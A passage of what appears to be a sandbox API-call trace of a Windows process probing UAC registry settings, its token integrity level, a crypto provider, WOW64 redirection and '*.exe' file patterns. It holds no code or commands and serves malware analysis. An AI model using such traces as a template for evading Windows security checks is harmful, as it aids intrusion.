lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1e8 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c240 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d208 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d218 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c168 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x20) returned 0x92b860 [0209.948] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d228 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1b0 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d238 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d248 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d258 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c2d0 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x30) returned 0x92b930 [0209.948] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b860) returned 1 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d268 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c318 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d278 [0209.948] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c360 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d288 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c3a8 [0209.949] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d298 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c3f0 [0209.949] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c480 [0209.949] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b930) returned 1 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2a8 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c4c8 [0209.949] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2b8 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c510 [0209.949] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2c8 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c558 [0209.949] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c438 [0209.949] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.949] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.949] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.949] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.949] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.949] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.949] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.949] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.949] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.950] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.950] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d1f8) returned 1 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c240) returned 1 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d1e8) returned 1 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d208) returned 1 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c168) returned 1 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d218) returned 1 [0209.950] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x21f400, lpData=0x0, lpcbData=0x21f408*=0x0 | out: lpType=0x21f400*=0x4, lpData=0x0, lpcbData=0x21f408*=0x4) returned 0x0 [0209.950] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x21f400, lpData=0x92c480, lpcbData=0x21f408*=0x4 | out: lpType=0x21f400*=0x4, lpData=0x92c480*=0x1, lpcbData=0x21f408*=0x4) returned 0x0 [0209.950] RegCloseKey (hKey=0x24) returned 0x0 [0209.950] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x21f478 | out: TokenHandle=0x21f478*=0x24) returned 1 [0209.950] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x21f474, TokenInformationLength=0x4, ReturnLength=0x21f470 | out: TokenInformation=0x21f474, ReturnLength=0x21f470) returned 1 [0209.950] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x21f464 | out: TokenHandle=0x21f464*=0xa0) returned 1 [0209.950] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x21f460 | out: TokenInformation=0x0, ReturnLength=0x21f460) returned 0 [0209.950] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.950] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x92c5a0, TokenInformationLength=0x14, ReturnLength=0x21f460 | out: TokenInformation=0x92c5a0, ReturnLength=0x21f460) returned 1 [0209.950] GetSidSubAuthorityCount (pSid=0x92c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x92c5a9 [0209.950] GetSidSubAuthority (pSid=0x92c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x92c5b0 [0209.950] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.950] NtClose (Handle=0xa0) returned 0x0 [0209.950] GetSystemInfo (in: lpSystemInfo=0x21f5ac | out: lpSystemInfo=0x21f5ac*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0209.951] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x6c) returned 0x92b860 [0209.951] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.951] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0209.951] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c480 [0209.951] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c438 [0209.951] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c558 [0209.951] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c510 [0209.951] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x5000) returned 0x980048 [0209.951] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c4c8 [0209.951] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c4c8) returned 1 [0209.951] CryptAcquireContextW (in: phProv=0x21f5c0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21f5c0*=0x37e3b0) returned 1 [0209.997] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x980048) returned 1 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92b8d8 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92b960 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c4c8 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92b9e8 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92ba70 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c3f0 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92baf8 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c3a8 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x5000) returned 0x980048 [0209.997] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c360 [0209.997] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c360) returned 1 [0209.998] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0210.004] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x980048) returned 1 [0210.004] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x378aa8, lpbSaclPresent=0x21f574, pSacl=0x21f5c8, lpbSaclDefaulted=0x21f574 | out: lpbSaclPresent=0x21f574, pSacl=0x21f5c8, lpbSaclDefaulted=0x21f574) returned 1 [0210.004] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c360 [0210.004] CreateEventA (lpEventAttributes=0x21f5bc, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0210.004] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c360) returned 1 [0210.004] GetLastError () returned 0x0 [0210.004] LocalFree (hMem=0x378aa8) returned 0x0 [0210.004] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c360 [0210.004] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x5000) returned 0x980048 [0210.004] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c318 [0210.004] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c318) returned 1 [0210.004] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0210.005] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x980048) returned 1 [0210.005] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x378aa8, lpbSaclPresent=0x21f574, pSacl=0x21f5c8, lpbSaclDefaulted=0x21f574 | out: lpbSaclPresent=0x21f574, pSacl=0x21f5c8, lpbSaclDefaulted=0x21f574) returned 1 [0210.005] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c318 [0210.005] CreateEventA (lpEventAttributes=0x21f5bc, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0210.005] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c318) returned 1 [0210.005] GetLastError () returned 0x0 [0210.005] LocalFree (hMem=0x378aa8) returned 0x0 [0210.005] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c318 [0210.005] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x5000) returned 0x980048 [0210.005] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c2d0 [0210.005] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c2d0) returned 1 [0210.005] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0210.006] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x980048) returned 1 [0210.006] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x378aa8, lpbSaclPresent=0x21f574, pSacl=0x21f5c8, lpbSaclDefaulted=0x21f574 | out: lpbSaclPresent=0x21f574, pSacl=0x21f5c8, lpbSaclDefaulted=0x21f574) returned 1 [0210.006] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c2d0 [0210.006] CreateEventA (lpEventAttributes=0x21f5bc, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0210.006] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c2d0) returned 1 [0210.006] GetLastError () returned 0x0 [0210.006] LocalFree (hMem=0x378aa8) returned 0x0 [0210.006] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x2800) returned 0x980048 [0210.006] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bb80 [0210.006] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c2d0 [0210.006] Wow64DisableWow64FsRedirection (in: OldValue=0x21f5f0 | out: OldValue=0x21f5f0*=0x0) returned 1 [0210.006] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x2800) returned 0x982850 [0210.006] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.006] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.006] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.006] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1f8) returned 1 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2d8) returned 1 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x982850) returned 1 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x2800) returned 0x982850 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2c8 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d600 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2b8 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1b0 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2a8 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c168 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1f8) returned 1 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2d8) returned 1 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2c8) returned 1 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2c8 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0210.007] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1b0) returned 1 [0210.007] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2b8) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c168) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2a8) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d600) returned 1 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d600 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2a8 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c168 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2b8 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1b0 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2c8) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1f8) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2d8) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2c8 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c168) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2a8) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1b0) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2b8) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d600) returned 1 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x982850) returned 1 [0210.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92d9d0 [0210.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c1f8, cbMultiByte=5, lpWideCharStr=0x92d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92da58 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d9d0) returned 1 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d600 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2b8 [0210.008] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92d9d0 [0210.008] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92da58) returned 1 [0210.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 